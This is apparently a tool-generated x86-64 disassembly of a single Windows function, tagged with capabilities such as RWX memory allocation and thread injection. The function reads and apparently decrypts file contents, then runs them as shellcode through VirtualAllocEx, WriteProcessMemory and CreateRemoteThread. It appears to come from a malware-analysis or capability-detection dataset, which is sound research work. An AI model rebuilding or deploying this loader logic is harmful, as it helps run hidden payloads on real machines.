Function at 0x140011307
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
jmp 0x14001c880
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x11a0
call fcn.1400111e5
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x308
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x11c8]
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x1158], rax
lea rcx, [0x14003a0f7]
call fcn.140011a2d
mov byte [rbp + 4], 0x31
lea rax, [rbp + 0x24]
lea rcx, str.2.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
movzx eax, word [0x14002c704]
mov word [rbp + 0x44], ax
mov edx, 0x20
lea rcx, [rbp + 0x68]
call fcn.14001189d
lea rcx, [rbp + 0x68]
call fcn.140011320
nop
mov edx, 0x20
lea rcx, [rbp + 0xa8]
call fcn.14001189d
lea rcx, [rbp + 0xa8]
call fcn.140011320
nop
mov edx, 0x20
lea rcx, [rbp + 0x108]
call fcn.14001189d
lea rcx, [rbp + 0x108]
call fcn.140011320
nop
mov edx, 0x110
lea rcx, [rbp + 0x150]
call fcn.1400116ef
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rbp + 4]
lea rcx, [rbp + 0x150]
call fcn.14001196f
nop
mov edx, 0x110
lea rcx, [rbp + 0x280]
call fcn.1400116ef
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 0x280]
call fcn.14001196f
nop
cmp dword [rbp + 0x1180], 2
je 0x14001c9c9
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov edx, 0x110
lea rcx, [rbp + 0x3b0]
call fcn.1400116ef
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rbp + 0x44]
lea rcx, [rbp + 0x3b0]
call fcn.14001196f
nop
mov rax, qword [rbp + 0x150]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x150]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
jne 0x14001ca68
mov rax, qword [rbp + 0x280]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x280]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
jne 0x14001ca68
mov rax, qword [rbp + 0x3b0]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14001cac7
mov dword [rbp + 0xad4], 1
lea rcx, [rbp + 0x3b0]
call fcn.14001119a
nop
lea rcx, [rbp + 0x280]
call fcn.14001119a
nop
lea rcx, [rbp + 0x150]
call fcn.14001119a
nop
lea rcx, [rbp + 0x108]
call fcn.140011956
nop
lea rcx, [rbp + 0xa8]
call fcn.140011956
nop
lea rcx, [rbp + 0x68]
call fcn.140011956
mov eax, dword [rbp + 0xad4]
jmp 0x14001d236
lea rcx, [rbp + 0xaf8]
call fcn.140011780
lea rcx, [rbp + 0x10a0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xb28]
call fcn.140011636
lea rcx, [rbp + 0x1070]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x10a0]
lea rdx, [rbp + 0x1070]
lea rcx, [rbp + 0x68]
call fcn.14001182f
cmp dword [rbp + 0x1180], 2
je 0x14001cb39
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
lea rcx, [rbp + 0xb58]
call fcn.140011780
lea rcx, [rbp + 0x1100]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0xb88]
call fcn.140011636
lea rcx, [rbp + 0x10d0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1100]
lea rdx, [rbp + 0x10d0]
lea rcx, [rbp + 0xa8]
call fcn.14001182f
cmp dword [rbp + 0x1180], 2
je 0x14001cbae
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
lea rdx, [rbp + 0xe4]
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
lea rax, [rbp + 0xbb8]
mov qword [rbp + 0xbe8], rax
lea rax, [rbp + 0xc38]
mov qword [rbp + 0xc68], rax
lea rax, [rbp + 0xc88]
mov qword [rbp + 0xcb8], rax
movsxd rax, dword [rbp + 0xe4]
mov qword [rbp + 0x1118], rax
lea rdx, [rbp + 0xc08]
lea rcx, [rbp + 0xa8]
call fcn.140011415
mov qword [rbp + 0x1120], rax
mov rax, qword [rbp + 0x1120]
mov qword [rbp + 0x1128], rax
mov rax, qword [rbp + 0x1118]
mov r8, rax
mov rdx, qword [rbp + 0xbe8]
mov rcx, qword [rbp + 0x1128]
call fcn.1400118cf
mov qword [rbp + 0x1130], rax
mov rdx, qword [rbp + 0xc68]
lea rcx, [rbp + 0xa8]
call fcn.140011415
mov qword [rbp + 0x1138], rax
lea rdx, [rbp + 0xcd8]
lea rcx, [rbp + 0x108]
call fcn.1400110d2
mov qword [rbp + 0x1140], rax
mov rax, qword [rbp + 0x1140]
mov qword [rbp + 0x1148], rax
mov rdx, qword [rbp + 0x1148]
mov rcx, qword [rbp + 0xcb8]
call fcn.14001184d
mov qword [rbp + 0x1150], rax
mov rax, qword [rbp + 0x1130]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1138]
mov r8, qword [rbp + 0x1150]
lea rdx, [rbp + 0xd08]
lea rcx, [rbp + 0x108]
call fcn.140011762
lea rcx, [rbp + 0xd08]
call fcn.1400115fa
nop
lea rcx, [rbp + 0xcd8]
call fcn.1400115fa
nop
lea rcx, [rbp + 0xc08]
call fcn.1400115fa
cmp dword [rbp + 0x1180], 2
je 0x14001cd09
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
lea rax, [rbp + 0xd38]
mov qword [rbp + 0xd68], rax
lea rax, [rbp + 0xd88]
mov qword [rbp + 0xdb8], rax
lea rax, [rbp + 0xdd8]
mov qword [rbp + 0xe08], rax
mov rdx, qword [rbp + 0xd68]
lea rcx, [rbp + 0x68]
call fcn.1400110d2
mov qword [rbp + 0x1118], rax
mov rdx, qword [rbp + 0xdb8]
lea rcx, [rbp + 0x68]
call fcn.140011415
mov qword [rbp + 0x1120], rax
lea rdx, [rbp + 0xe28]
lea rcx, [rbp + 0x108]
call fcn.1400110d2
mov qword [rbp + 0x1128], rax
mov rax, qword [rbp + 0x1128]
mov qword [rbp + 0x1130], rax
mov rdx, qword [rbp + 0x1130]
mov rcx, qword [rbp + 0xe08]
call fcn.14001184d
mov qword [rbp + 0x1138], rax
mov rax, qword [rbp + 0x1118]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1120]
mov r8, qword [rbp + 0x1138]
lea rdx, [rbp + 0xe58]
lea rcx, [rbp + 0x108]
call fcn.140011762
lea rcx, [rbp + 0xe58]
call fcn.1400115fa
nop
lea rcx, [rbp + 0xe28]
call fcn.1400115fa
cmp dword [rbp + 0x1180], 2
je 0x14001cdfd
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
lea rax, [rbp + 0xe88]
mov qword [rbp + 0xeb8], rax
lea rax, [rbp + 0xed8]
mov qword [rbp + 0xf08], rax
lea rax, [rbp + 0xf58]
mov qword [rbp + 0xf88], rax
mov rdx, qword [rbp + 0xeb8]
lea rcx, [rbp + 0xa8]
call fcn.1400110d2
mov qword [rbp + 0x1118], rax
movsxd rax, dword [rbp + 0xe4]
mov qword [rbp + 0x1120], rax
lea rdx, [rbp + 0xf28]
lea rcx, [rbp + 0xa8]
call fcn.140011415
mov qword [rbp + 0x1128], rax
mov rax, qword [rbp + 0x1128]
mov qword [rbp + 0x1130], rax
mov rax, qword [rbp + 0x1120]
mov r8, rax
mov rdx, qword [rbp + 0xf08]
mov rcx, qword [rbp + 0x1130]
call fcn.1400118cf
mov qword [rbp + 0x1138], rax
lea rdx, [rbp + 0xfa8]
lea rcx, [rbp + 0x108]
call fcn.1400110d2
mov qword [rbp + 0x1140], rax
mov rax, qword [rbp + 0x1140]
mov qword [rbp + 0x1148], rax
mov rdx, qword [rbp + 0x1148]
mov rcx, qword [rbp + 0xf88]
call fcn.14001184d
mov qword [rbp + 0x1150], rax
mov rax, qword [rbp + 0x1118]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1138]
mov r8, qword [rbp + 0x1150]
lea rdx, [rbp + 0xfd8]
lea rcx, [rbp + 0x108]
call fcn.140011762
lea rcx, [rbp + 0xfd8]
call fcn.1400115fa
nop
lea rcx, [rbp + 0xfa8]
call fcn.1400115fa
nop
lea rcx, [rbp + 0xf28]
call fcn.1400115fa
cmp dword [rbp + 0x1180], 2
je 0x14001cf44
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
lea rcx, [rbp + 0x108]
call fcn.1400112e4
mov qword [rbp + 0x4d8], rax
lea rcx, [rbp + 0x108]
call fcn.140011069
mov qword [rbp + 0x4f8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x518], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, qword [rbp + 0x4f8]
xor edx, edx
mov rcx, qword [rbp + 0x518]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x538], rax
cmp qword [rbp + 0x538], 0
jne 0x14001d020
mov dword [rbp + 0x1004], 1
lea rcx, [rbp + 0x3b0]
call fcn.14001119a
nop
lea rcx, [rbp + 0x280]
call fcn.14001119a
nop
lea rcx, [rbp + 0x150]
call fcn.14001119a
nop
lea rcx, [rbp + 0x108]
call fcn.140011956
nop
lea rcx, [rbp + 0xa8]
call fcn.140011956
nop
lea rcx, [rbp + 0x68]
call fcn.140011956
mov eax, dword [rbp + 0x1004]
jmp 0x14001d236
lea rax, [rbp + 0x558]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x4f8]
mov r8, qword [rbp + 0x4d8]
mov rdx, qword [rbp + 0x538]
mov rcx, qword [rbp + 0x518]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001d0ce
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x538]
mov rcx, qword [rbp + 0x518]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [rbp + 0x1024], 1
lea rcx, [rbp + 0x3b0]
call fcn.14001119a
nop
lea rcx, [rbp + 0x280]
call fcn.14001119a
nop
lea rcx, [rbp + 0x150]
call fcn.14001119a
nop
lea rcx, [rbp + 0x108]
call fcn.140011956
nop
lea rcx, [rbp + 0xa8]
call fcn.140011956
nop
lea rcx, [rbp + 0x68]
call fcn.140011956
mov eax, dword [rbp + 0x1024]
jmp 0x14001d236
cmp dword [rbp + 0x1180], 2
jne 0x14001d1ec
cmp dword [rbp + 0x1180], 2
je 0x14001d0ef
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x538]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x518]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x578], rax
cmp qword [rbp + 0x578], 0
jne 0x14001d1af
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x538]
mov rcx, qword [rbp + 0x518]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [rbp + 0x1044], 1
lea rcx, [rbp + 0x3b0]
call fcn.14001119a
nop
lea rcx, [rbp + 0x280]
call fcn.14001119a
nop
lea rcx, [rbp + 0x150]
call fcn.14001119a
nop
lea rcx, [rbp + 0x108]
call fcn.140011956
nop
lea rcx, [rbp + 0xa8]
call fcn.140011956
nop
lea rcx, [rbp + 0x68]
call fcn.140011956
mov eax, dword [rbp + 0x1044]
jmp 0x14001d236
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x578]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x538]
mov rcx, qword [rbp + 0x518]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0x578]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x3b0]
call fcn.14001119a
nop
lea rcx, [rbp + 0x280]
call fcn.14001119a
nop
lea rcx, [rbp + 0x150]
call fcn.14001119a
nop
lea rcx, [rbp + 0x108]
call fcn.140011956
nop
lea rcx, [rbp + 0xa8]
call fcn.140011956
nop
lea rcx, [rbp + 0x68]
call fcn.140011956
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14002b360]
call fcn.140011875
mov rax, rdi
mov rcx, qword [rbp + 0x1158]
xor rcx, rbp
call fcn.1400114c9
lea rsp, [rbp + 0x1160]
pop rdi
pop rsi
pop rbp
ret